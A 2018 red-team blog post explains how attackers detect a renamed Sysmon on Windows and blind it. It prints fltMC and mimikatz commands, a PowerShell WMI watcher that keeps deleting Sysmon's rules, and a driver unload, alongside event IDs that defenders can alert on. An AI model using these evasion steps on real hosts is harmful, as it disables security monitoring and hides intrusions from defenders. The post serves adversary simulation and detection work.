SHELL IS ONLY THE BEGINNING

When getting shell is only the start of the journey.

Operating Offensively Against Sysmon

OCTOBER 08, 2018 BY CARLOS PEREZ IN BLUE TEAM, RED TEAM, POWERSHELL

Sysmon is a tool written by Mark Russinovich that I have covered in multiple blog post and even wrote a PowerShell module called Posh-Sysmon to help with the generation of configuration files for it. Its main purpose is for the tracking of potentially malicious activity on individual hosts and it is based on the same technology as Procmon. It differs from other Sysinternals tools in that Sysmon is actually installed on the host and saves its information in to the Windows Eventlog so it is easier to be able to collect the information with the use of SIEM (Security Information and Event Management) tools.

Sysmon has the capability to log information for:

- Process Creation and Termination
- Process changing a file creation time.

- Network Connection
- Driver Load
- Image Load
- CreateRemoteThread
- Raw Access Read of a file
- A process opens another process memory
- File Creation
- Registry Events
- Pipe Events
- WMI Permanent Events

All of the logging is based on rules you specify using the sysmon.exe tool and saved in to the registry. Most enterprise environments will deploy Sysmon via package management and then push rules via the registry by pushing the binary blob to the hosts.

Detect Control

As offensive operators the first thing we need to do is identify if Sysmon is present on the system. Normally when we install Sysmon on a system it will create a service to load a driver, the registry key that will store the configuration for the service and the driver and install an event manifest to define the events and create the event log where it will put the events it generates so they can be collected. So, we have multiple places we can look. But sadly, most attackers are creatures of habit and will many times stick to the simplest solution that gives them the most bag for the buck you can say. In the case of detecting controls there is no difference most will perform one of the following actions:

- List processes
- List services
- List drivers in C:\Windows\System32\Drivers

The most common one is the listing of drivers since EDR solutions like Cylance will hide the service name depending how you call it and some solutions do not have processes running.

For this very reason Sysmon implement a feature where you can change the name of the exe and the driver so as to obfuscate its presence on the system.

To change the name of the service and the process you just rename the sysmon executable to whatever name you want. This is useful but as we can see in the output bellow the driver is not renamed.

```
PS C:\Users\carlos\Desktop> .\HPPrinterController.exe -i
System Monitor v8.00 - System activity monitor
Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

HPPrinterController installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting HPPrinterController..
HPPrinterController started.
```

To change the driver name we would need to specify it with the -d parameter during installation and specify a name for it.

```
PS C:\Users\carlos\Desktop> .\HPPrinterController.exe -i -d hpprndrv


System Monitor v8.00 - System activity monitor
Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier
```

```
Sysinternals - www.sysinternals.com


HPPrinterController installed.
hpprndrv installed.
Starting hpprndrv.
hpprndrv started.
Starting HPPrinterController..
HPPrinterController started.
```

One thing to take in to account for uninstalling and updating the configuration of the service one has to use and copy of sysmon with the name we choose and the registry path for the configuration will also use the name we choose, this is very important during regular operation of upgrading sysmon and pushing out new rules.

We can still look at the filter drivers that have been loaded by the system and look at their altitude numbers using **fltmc.exe**or if our agent we are using it be Meterpreter, Beacon or any other with support for mimikatz we can also use mimikatz with the command **misc::mflt**to list in memory the driver altitude numbers. The sysmon driver will have an altitude number of **385201**

With Mimikatz

```
mimikatz # misc::mflt
0 3     385201 hpprndrv
0 0     244000 storqosflt
0 1     189900 wcifs
0 0     180451 CldFlt
0 0     141100 FileCrypt
0 1     135000 luafv
0 1      46000 npsvctrig
0 3      40700 Wof
0 4      40500 FileInfo
```

With fltMC.exe:

```
PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
hpprndrv                                3       385201         0
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0
```

If we are operating in a more contested or non-permissive environment where running fltmc.exe or loading mimikatz is bound to raise alarms. A not so accurate way would be to check for the presence of the event log file for sysmon. It will at least let us know that sysmon is present or was installed on the system. For this we can check the registry key ***HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational***

```
PS C:\> ls HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels | Where-Object {$_.name -li


    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels


Name                           Property
```

```
----                             --------
Microsoft-Windows-Sysmon/Opera OwningPublisher : {5770385f-c22a-43e0-bf4c-06f5698ffbd9}
tional                           Enabled         : 1
                                 Isolation       : 2
                                 ChannelAccess   : O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x1;;;BO)
                                 MaxSize         : 67108864
                                 MaxSizeUpper    : 0
                                 Type            : 1
```

Other signs we can look in the registry is the registry key that all sysinternals tools populate to say set that the license was accepted for the tool. In the case of sysmon it will be listed in that key under ***HKCU\Software\Sysinternals***for the user.

```
PS C:\> ls HKCU:\Software\Sysinternals  | Select-Object name


Name
----
HKEY_CURRENT_USER\Software\Sysinternals\Process Explorer
HKEY_CURRENT_USER\Software\Sysinternals\Process Monitor
HKEY_CURRENT_USER\Software\Sysinternals\sigcheck
HKEY_CURRENT_USER\Software\Sysinternals\Streams
HKEY_CURRENT_USER\Software\Sysinternals\Strings
HKEY_CURRENT_USER\Software\Sysinternals\System Monitor
HKEY_CURRENT_USER\Software\Sysinternals\ZoomIt
```

There is also a way to find the service and now if there was a rename. Sysmon keeps the description of the service as **“System Monitor service”**even when it modified the name. This makes it trivial to identify the service by this string using WMI or SC.exe.

```
PS C:\> Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"


ProcessId Name                 StartMode State   Status ExitCode

--------- ----                 --------- -----   ------ --------

2220      HPPrinterController Auto      Running OK     0
```

Circumventing Sysmon

Working Around Rules

We have 2 options to circumvent sysmon the first one is to operate inside the blind spots of its rules set or to completely disable. Matt Grabber was able to reverse engineer and make public the format of the registry key and we can find a .Net assembly we can use in Cobalt Strike load assembly to read in memory the config written by HarmJ0y called Seatbelt https://github.com/GhostPack/Seatbeltor if we pull the registry key Matt has a PowerShell function to parse it https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1. By knowing the rules, we can operate around them.

Deleting Configuration

We can clear the rule entry in the registry. Sysmon will see the registry being changed and it will automatically reload the configuration and since no rules are present it will be blinded temporarily depending on how the configuration is maintained. If the configuration is managed by a configuration management system like Ansible, Chef or DSC it could be a matter of seconds to minutes before the configuration is changed back to its original state in the case it is by a GPO it can be restored inside 90 minutes when the GPO updates. To combat this we can create in any Windows technology (.Net, VBS, PE File ..etc) a WMI Temporary Consumer https://docs.microsoft.com/en-us/windows/desktop/wmisdk/receiving-a-wmi-eventthat will monitor the registry key and when it notices a change to it to delete it or set its content again. The reason for a temporary consumer is that most solution look for WMI Permanent events being created or modified.

```
$query = "SELECT * FROM RegistryKeyChangeEvent " +
    "WHERE Hive ='HKEY_LOCAL_MACHINE' " +
    "AND KeyPath ='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters'"

Register-WMIEvent -Query $query -Action {
    Write-host "Sysmon config updated, deleting config."
    Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" -Name "Ru
```

One of the things to keep in mind is that Sysmon will revert back to default configuration so it will log the process creation and process termination events.

If we want to track the use of the WMI filter this will be logged in the event log under **WMI-Activity/Operational** with an Event ID of **5860** with the field in EventData for Possible Cause of **Temporary** and it will also include the Process ID of the process that created it.

Another give away would be that if your configuration includes Rule Names for each filter if the configuration is that process creation and process termination events will have a blank rule name in them if using Sysmon 8.0.

You can also set auditing rules vial GPO on the registry key and log an event 4687 under the security log that will include the user and the process information for the change of the registry key. If under process information if it is not Sysmon or the process that changes the key under GPO updates you can trigger an alert on this in your SIEM.

Unload SysmonDrv Filter Driver

Another action that can be taken is to unload the SysmonDrv dfilter driver that gives Sysmon the information on all disk actions to then write to the eventlog. As we saw before this driver has a unique altitude number and if we are running as administrator we can unload this driver and Sysmon is essentially blinded completely. We can unload the driver with the fltmc.exe tool. Here we are unloading our hidden driver that we identified via the altitude number.

```
PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
hpprndrv                                3       385201         0
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0
PS C:\> fltMC.exe unload hpprndrv
PS C:\> fltMC.exe

Filter Name                     Num Instances    Altitude    Frame
```

```
------------------------------  -------------  ------------  -----
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     3        40700         0
FileInfo                                4        40500         0
```

Sysmon will actually log as its last command the execution of the command so this could be a trigger on SIEM when this command is executed and the unload parameter is used.

It will also be logged under the System log under event **1** source **Filter Manager** and Task Category of **None**

Conclusion

When identifying controls in an adversarial simulation is to look for more than one indicator of the presence of the control and when identified to pull the pertinent pieces of information that will inform us of the level of maturity and skill of the team of the targeted network.

As always, I hope you find this blog post useful and informative.

Update 10/8/18 - added screenshots of events in the event log and more details to track abuse.

SYSMON

♥

BLOG RSS

‹ Newer Older ›